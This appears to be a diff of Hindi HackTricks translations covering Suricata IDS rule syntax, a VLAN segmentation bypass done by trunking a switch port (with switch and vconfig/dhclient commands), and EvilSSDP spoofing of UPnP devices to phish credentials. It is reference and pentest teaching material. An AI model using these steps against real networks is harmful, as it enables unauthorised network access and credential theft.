* alert - एक अलर्ट उत्पन्न करें
* pass - पैकेट की आगे की जांच रोकें
* **drop** - पैकेट को ड्रॉप करें और अलर्ट उत्पन्न करें
* **reject** - मेल खाने वाले पैकेट के प्रेषक को RST/ICMP अप्राप्य त्रुटि भेजें
* rejectsrc - बस _reject_ के समान
* rejectdst - मेल खाने वाले पैकेट के रिसीवर को RST/ICMP त्रुटि पैकेट भेजें
* rejectboth - बातचीत के दोनों पक्षों को RST/ICMP त्रुटि पैकेट भेजें।
#### **प्रोटोकॉल**
* tcp (tcp-ट्रैफिक के लिए)
* tcp (tcp-traffic के लिए)
* udp
* icmp
* ip (ip का मतलब है ‘सभी’ या ‘कोई’)
* _लेयर7 प्रोटोकॉल_: http, ftp, tls, smb, dns, ssh... (अधिक जानकारी के लिए [**दस्तावेज**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html) देखें)
* ip (ip का अर्थ है 'सभी' या 'कोई भी')
* _लेयर7 प्रोटोकॉल_: http, ftp, tls, smb, dns, ssh... (अधिक जानकारी [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html) में)
#### स्रोत और गंतव्य पते
यह IP रेंज, नकारात्मक और पतों की सूची का समर्थन करता है:
यह IP रेंज, नकारात्मकता और पते की सूची का समर्थन करता है:
| उदाहरण | अर्थ |
| ------------------------------ | ---------------------------------------- |
| ! 1.1.1.1 | 1.1.1.1 को छोड़कर हर IP पता |
| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1 और 1.1.1.2 को छोड़कर हर IP पता |
| $HOME\_NET | आपकी yaml में HOME\_NET की सेटिंग |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET और HOME\_NET नहीं |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 केवल 10.0.0.5 के लिए छोड़कर |
| उदाहरण | अर्थ |
| ------------------------------- | ---------------------------------------- |
| ! 1.1.1.1 | हर IP पता लेकिन 1.1.1.1 |
| !\[1.1.1.1, 1.1.1.2] | हर IP पता लेकिन 1.1.1.1 और 1.1.1.2 |
| $HOME\_NET | yaml में आपके HOME\_NET का सेटिंग |
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET और HOME\_NET नहीं |
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 सिवाय 10.0.0.5 के |
#### स्रोत और गंतव्य पोर्ट
यह पोर्ट रेंज, नकारात्मक और पोर्ट की सूचियों का समर्थन करता है
यह पोर्ट रेंज, नकारात्मकता और पोर्ट की सूचियों का समर्थन करता है
| उदाहरण | अर्थ |
| --------------- | -------------------------------------- |
| any | कोई भी पता |
| \[80, 81, 82] | पोर्ट 80, 81 और 82 |
| \[80: 82] | 80 से 82 तक का सीमा |
| \[1024: ] | 1024 से सबसे उच्च पोर्ट-नंबर तक |
| !80 | 80 को छोड़कर हर पोर्ट |
| \[80:100,!99] | 80 से 100 तक का सीमा, लेकिन 99 छोड़ें |
| \[1:80,!\[2,4]] | 1-80 तक का सीमा, 2 और 4 को छोड़कर |
| उदाहरण | अर्थ |
| ---------------- | -------------------------------------- |
| any | कोई भी पता |
| \[80, 81, 82] | पोर्ट 80, 81 और 82 |
| \[80: 82] | 80 से 82 तक की रेंज |
| \[1024: ] | 1024 से सबसे उच्च पोर्ट संख्या तक |
| !80 | हर पोर्ट लेकिन 80 |
| \[80:100,!99] | 80 से 100 तक की रेंज लेकिन 99 को छोड़कर |
| \[1:80,!\[2,4]] | 1-80 की रेंज, पोर्ट 2 और 4 को छोड़कर |
#### दिशा
संचार नियम के लागू होने की दिशा को निर्दिष्ट करना संभव है:
यह संचार नियम की दिशा को इंगित करना संभव है:
```
source -> destination
source <> destination (both directions)
```
#### कीवर्ड
#### Keywords
Suricata में **सैकड़ों विकल्प** उपलब्ध हैं जिनका उपयोग **निश्चित पैकेट** खोजने के लिए किया जा सकता है, यहाँ यह उल्लेख किया जाएगा अगर कुछ दिलचस्प मिलता है। अधिक जानकारी के लिए [**दस्तावेज़ीकरण**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) देखें!
Suricata में **विशिष्ट पैकेट** के लिए खोजने के लिए **सैकड़ों विकल्प** उपलब्ध हैं, यहाँ उल्लेख किया जाएगा यदि कुछ दिलचस्प पाया जाता है। अधिक जानकारी के लिए [**दस्तावेज़ीकरण** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) की जाँच करें!
```bash
# Meta Keywords
msg: "description"; #Set a description to the rule
@ -231,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
## Drop by port
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,38 +1,41 @@
# लेटरल VLAN सेगमेंटेशन बायपास
# Lateral VLAN Segmentation Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **[हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके।**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
यदि स्विच तक सीधा पहुंच मौजूद है, तो VLAN सेगमेंटेशन को बायपास किया जा सकता है। इसमें कनेक्टेड पोर्ट को ट्रंक मोड में पुनर्कॉन्फ़िगर करना शामिल है, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना, या तो डायनामिक रूप से (DHCP) या स्थिर रूप से, स्थिति के आधार पर (**अधिक विवरण के लिए [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) देखें)**
यदि स्विच तक सीधी पहुँच उपलब्ध है, तो VLAN विभाजन को बायपास किया जा सकता है। इसमें जुड़े पोर्ट को ट्रंक मोड में फिर से कॉन्फ़िगर करना, लक्षित VLANs के लिए वर्चुअल इंटरफेस स्थापित करना, और IP पते सेट करना शामिल है, या तो गतिशील (DHCP) या स्थैतिक, परिदृश्य के आधार पर (**अधिक विवरण के लिए देखें [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
पहले, विशिष्ट कनेक्टेड पोर्ट की पहचान की आवश्यकता है। यह सामान्यत: सीडीपी संदेशों के माध्यम से प्राप्त किया जा सकता है, या **इंक्लूड** मास्क के माध्यम से पोर्ट की खोज करके।
शुरुआत में, विशिष्ट जुड़े पोर्ट की पहचान आवश्यक है। यह आमतौर पर CDP संदेशों के माध्यम से या **include** मास्क के माध्यम से पोर्ट की खोज करके किया जा सकता है
**यदि सीडीपी संचालनयोग्य नहीं है, तो पोर्ट की पहचान के लिए MAC पता खोजने का प्रयास किया जा सकता है**:
**यदि CDP कार्यशील नहीं है, तो MAC पते की खोज करके पोर्ट की पहचान करने का प्रयास किया जा सकता है**:
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
पेडल मोड पर स्विच करने से पहले, मौजूदा VLANs की सूची तैयार की जानी चाहिए, और उनकी पहचान की जानी चाहिए। इन पहचानकर्ताओं को इंटरफेस को सौंचारिक रूप से पहुंचने की अनुमति दी जाती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
ट्रंक मोड में स्विच करने से पहले, मौजूदा VLANs की एक सूची तैयार की जानी चाहिए, और उनके पहचानकर्ताओं का निर्धारण किया जाना चाहिए। ये पहचानकर्ता फिर इंटरफेस को सौंपे जाते हैं, जिससे ट्रंक के माध्यम से विभिन्न VLANs तक पहुंच सक्षम होती है। उपयोग में पोर्ट, उदाहरण के लिए, VLAN 10 से संबंधित है।
```
SW1# show vlan brief
```
**Trunk मोड में जाने का मतलब interface configuration mode में जाना है**:
**ट्रंक मोड में संक्रमण करने का अर्थ है इंटरफेस कॉन्फ़िगरेशन मोड में प्रवेश करना**:
```
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently.
स्विचिंग को ट्रंक मोड में बदलने से अस्थायी रूप से कनेक्टिविटी बाधित होगी, लेकिन इसे बाद में बहाल किया जा सकता है।
Virtual interfaces are then created, assigned VLAN IDs, and activated:
फिर वर्चुअल इंटरफेस बनाए जाते हैं, VLAN ID सौंपे जाते हैं, और सक्रिय किए जाते हैं:
```bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
@ -43,33 +46,36 @@ sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```
इसके बाद, DHCP के माध्यम से पता अनुरोध किया जाता है। या तो, उन स्थितियों में जहां DHCP संभावनी नहीं है, पते मैन्युअल रूप से कॉन्फ़िगर किए जा सकते हैं:
इसके बाद, DHCP के माध्यम से एक पता अनुरोध किया जाता है। वैकल्पिक रूप से, उन मामलों में जहां DHCP संभव नहीं है, पतों को मैन्युअल रूप से कॉन्फ़िगर किया जा सकता है:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
```
एक इंटरफेस (VLAN 10) पर स्थैतिक IP पता मैन्युअल रूप से सेट करने के लिए उदाहरण:
VLAN 10 पर एक इंटरफेस पर स्थिर IP पता मैन्युअल रूप से सेट करने का उदाहरण:
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Connectivity को VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे को ICMP अनुरोध आरंभ करके परीक्षण किया जाता है।
कनेक्टिविटी का परीक्षण VLANs 10, 20, 50, और 60 के लिए डिफ़ॉल्ट गेटवे पर ICMP अनुरोधों को आरंभ करके किया जाता है।
अंततः, यह प्रक्रिया VLAN सेगमेंटेशन को छलकर अनुमति देती है, जिससे किसी भी VLAN नेटवर्क तक असीमित पहुंच और आगे की कार्रवाई के लिए मंच सेट करने में सहायक होती है।
अंततः, यह प्रक्रिया VLAN विभाजन को बायपास करने में सक्षम बनाती है, जिससे किसी भी VLAN नेटवर्क तक बिना किसी प्रतिबंध के पहुंच प्राप्त होती है, और इसके बाद की क्रियाओं के लिए मंच तैयार होता है।
## संदर्भ
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें</summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ़ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,51 +1,59 @@
# EvilSSDP के साथ SSDP और UPnP डिवाइस का स्पूफिंग
# Spoofing SSDP और UPnP Devices with EvilSSDP
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**अधिक जानकारी के लिए [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) देखें।**
**Check [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) for further information.**
## **SSDP और UPnP अवलोकन**
## **SSDP & UPnP Overview**
SSDP (सिम्पल सर्विस डिस्कवरी प्रोटोकॉल) नेटवर्क सेवा विज्ञापन और अवलोकन के लिए उपयोग किया जाता है, UDP पोर्ट 1900 पर काम करता है बिना DHCP या DNS कॉन्फ़िगरेशन की आवश्यकता के। यह UPnP (यूनिवर्सल प्लग एंड प्ले) आर्किटेक्चर में मौलिक है, जो पीसी, प्रिंटर्स, और मोबाइल डिवाइसेस जैसे नेटवर्क डिवाइसेस के बीच संवाद को सुगम बनाता है। UPnP का जीरो-कॉन्फ़िगरेशन नेटवर्किंग डिवाइस अवलोकन, आईपी पता निर्धारण, और सेवा विज्ञापन का समर्थन करता है।
SSDP (Simple Service Discovery Protocol) का उपयोग नेटवर्क सेवा विज्ञापन और खोज के लिए किया जाता है, जो DHCP या DNS कॉन्फ़िगरेशन की आवश्यकता के बिना UDP पोर्ट 1900 पर काम करता है। यह UPnP (Universal Plug and Play) आर्किटेक्चर में मौलिक है, जो PCs, प्रिंटर्स और मोबाइल उपकरणों जैसे नेटवर्केड डिवाइस के बीच निर्बाध इंटरैक्शन को सक्षम बनाता है। UPnP का जीरो-कॉन्फ़िगरेशन नेटवर्किंग डिवाइस खोज, IP पता असाइनमेंट और सेवा विज्ञापन का समर्थन करता है।
## **UPnP फ्लो और संरचना**
## **UPnP Flow & Structure**
UPnP आर्किटेक्चर छह परतों से मिलकर बना होता है: पता देना, अवलोकन, विवरण, नियंत्रण, घटनाक्रिया, और प्रस्तुति। पहले, डिवाइसेस को आईपी पता प्राप्त करने की कोशिश करते हैं या एक स्वयं-निर्धारित करते हैं (ऑटोआईपी)। अवलोकन चरण में SSDP शामिल है, जिसमें डिवाइसेस सेवाएं घोषित करने के लिए M-SEARCH अनुरोध भेजते हैं या नोटिफाई संदेश प्रसारित करते हैं। नियंत्रण परत, जो क्लाइंट-डिवाइस इंटरेक्शन के लिए महत्वपूर्ण है, डिवाइस विवरणों पर आधारित कमांड निष्पादन के लिए XML फ़ाइलों में सोप संदेशों का उपयोग करता है।
UPnP आर्किटेक्चर में छह परतें होती हैं: पता लगाना, खोज, विवरण, नियंत्रण, इवेंटिंग, और प्रस्तुति। प्रारंभ में, डिवाइस एक IP पता प्राप्त करने या एक को स्व-संयोजित करने (AutoIP) का प्रयास करते हैं। खोज चरण में SSDP शामिल है, जिसमें डिवाइस सक्रिय रूप से M-SEARCH अनुरोध भेजते हैं या सेवाओं की घोषणा करने के लिए निष्क्रिय रूप से NOTIFY संदेश प्रसारित करते हैं। नियंत्रण परत, जो क्लाइंट-डिवाइस इंटरैक्शन के लिए महत्वपूर्ण है, XML फ़ाइलों में डिवाइस विवरण के आधार पर कमांड निष्पादन के लिए SOAP संदेशों का उपयोग करती है।
## **IGD और उपकरण अवलोकन**
## **IGD & Tools Overview**
IGD (इंटरनेट गेटवे डिवाइस) NAT सेटअप में अस्थायी पोर्ट मैपिंग को सुविधा प्रदान करता है, मान्य WAN इंटरफेस प्रतिबंधों के बावजूद खुले SOAP नियंत्रण बिंदुओं के माध्यम से कमांड स्वीकृति की अनुमति देता है। उपकरण जैसे **मिरांडा** UPnP सेवा अवलोकन और कमांड निष्पादन में मदद करते हैं। **यूमैप** WAN-पहुंचने योग्य UPnP कमांडों को उजागर करता है, जबकि **अपन्प-आर्सेनल** जैसे भंडार एक विविधता के UPnP उपकरण प्रदान करते हैं। **ईविल SSDP** फिशिंग के लिए विशेषज्ञ है जो स्पूफ़ किए गए UPnP डिवाइस के माध्यम से फिशिंग करता है, जो विधि को मिमिक करने के लिए टेम्पलेट्स होस्ट करता है।
IGD (Internet Gateway Device) NAT सेटअप में अस्थायी पोर्ट मैपिंग की सुविधा प्रदान करता है, जो मानक WAN इंटरफ़ेस प्रतिबंधों के बावजूद खुले SOAP नियंत्रण बिंदुओं के माध्यम से कमांड स्वीकार करने की अनुमति देता है। **Miranda** जैसे उपकरण UPnP सेवा खोज और कमांड निष्पादन में सहायता करते हैं। **Umap** WAN-सुलभ UPnP कमांड को उजागर करता है, जबकि **upnp-arsenal** जैसे रिपॉजिटरी UPnP उपकरणों की एक श्रृंखला प्रदान करते हैं। **Evil SSDP** धोखाधड़ी के माध्यम से स्पूफ किए गए UPnP उपकरणों में विशेषज्ञता रखता है, जो वैध सेवाओं की नकल करने के लिए टेम्पलेट्स की मेज़बानी करता है।
## **ईविल SSDP व्यावहारिक उपयोग**
## **Evil SSDP Practical Usage**
ईविल SSDP वास्तव में विश्वसनीय नकली UPnP डिवाइस बनाता है, उपयोगकर्ताओं को वास्तविक सेवाओं के साथ बातचीत करने में धोखा देकर। उपयोगकर्ताएं, वास्तविक दिखने वाले रूप में धोखे में आकर, क्रेडेंशियल्स जैसी संवेदनशील जानकारी प्रदान कर सकते हैं। इस उपकरण की विविधता विभिन्न टेम्पलेट्स तक फैली हुई है, स्कैनर्स, ऑफिस 365, और पासवर्ड वॉल्ट्स जैसी सेवाओं को मिमिक करते हुए उपयोगकर्ता विश्वास और नेटवर्क दृश्यता का लाभ उठात है। क्रेडेंशियल कैप्चर के बाद, हमलावर शिकारों को निर्दिष्ट URL पर पुनर्निर्देशित कर सकते हैं, धोखे की मान्यता बनाए रखते हुए।
Evil SSDP प्रभावी रूप से विश्वसनीय नकली UPnP उपकरण बनाता है, उपयोगकर्ताओं को प्रतीत होने वाली प्रामाणिक सेवाओं के साथ बातचीत करने के लिए प्रेरित करता है। उपयोगकर्ता, जो वास्तविकता के रूप में धोखा खा जाते हैं, संवेदनशील जानकारी जैसे क्रेडेंशियल प्रदान कर सकते हैं। उपकरण की बहुपरकारीता विभिन्न टेम्पलेट्स तक फैली हुई है, जो स्कैनर, Office365, और यहां तक कि पासवर्ड वॉल्ट जैसी सेवाओं की नकल करती है, उपयोगकर्ता के विश्वास और नेटवर्क दृश्यता का लाभ उठात है। क्रेडेंशियल कैप्चर के बाद, हमलावर पीड़ितों को निर्दिष्ट URL पर पुनर्निर्देशित कर सकते हैं, धोखे की विश्वसनीयता बनाए रखते हुए।
## **सुरक्षा उपाय**
## **Mitigation Strategies**
इन खतरों का मुकाबला करने के लिए सुझाए गए उपाय शामिल हैं:
इन खतरों से निपटने के लिए, अनुशंसित उपायों में शामिल हैं:
- जब आवश्यक न हो तो डिवाइसेस पर UPnP को अक्षम करना।
- फिशिंग और नेटवर्क सुरक्षा के बारे में उपयोगकर्ताओं को शिक्षित करना।
- अन-एन्क्रिप्टेड संवेदनशील डेटा के लिए नेटवर्क ट्रैफ़िक का मॉनिटरिंग करना।
- जब आवश्यक न हो, तो उपकरणों पर UPnP को बंद करना।
- उपयोगकर्ताओं को िशिंग और नेटवर्क सुरक्षा के बारे में शिक्षित करना।
- अनएन्क्रिप्टेड संवेदनशील डेटा के लिए नेटवर्क ट्रैफ़िक की निगरानी करना।
सारांश में, जबकि UPnP सुविधा और नेटवर्क लचीलाई प्रदान करता है, वह पोटेंशियल शोषण के दरवाजे भी खोलता है। जागरूकता और प्रोएक्टिव रक्षा नेटवर्क अखंडता सुनिश्चित करने के लिए महत्वपूर्ण हैं।
संक्षेप में, जबकि UPnP सुविधा और नेटवर्क तरलता प्रदान करता है, यह संभावित शोषण के लिए दरवाजे भी खोलता है। जागरूकता और सक्रिय रक्षा नेटवर्क की अखंडता सुनिश्चित करने के लिए कुंजी हैं।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [ह
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
